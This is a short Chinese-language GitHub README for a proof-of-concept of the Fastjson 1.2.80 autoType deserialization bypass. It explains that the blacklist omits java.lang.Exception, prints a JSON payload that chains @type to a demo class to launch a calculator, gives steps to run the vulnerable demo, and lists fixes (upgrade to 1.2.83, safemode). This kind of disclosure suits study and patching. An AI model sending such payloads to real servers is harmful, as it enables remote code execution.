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fastjson-rce-1.2.80

Fastjson rce poc for 1.2.80

漏洞成因

autoType 黑名单缺少了Exception 类,导致被绕过

payload

{
	"@type": "java.lang.Exception",
	"@type": "com.kk.domain.Poc",
	"name": "calc"
}

利用方式

  1. 编译 mvn clean package ,或直接下载 fastjson-rce-1.0.0.jar
  2. 运行 java -jar .\target\fastjson-rce-1.0.0.jar
  3. 发送payload ,如果弹出计算器则利用成功

修复方式

  1. 升级到最新版本 v1.2.83
  2. 卸载计算器 😂🤣
  3. 开启safemode
    1. 开启方法如下

注意点

  1. 自行编译源码,需要确认springboot 启动类中的safemode 开关是否打开,关闭之后可以正常复现
  2. 直接下载 fastjson-rce-1.0.0.jar 不受影响

fastjson-rce-1.2.80's People

Contributors

dbgee avatar

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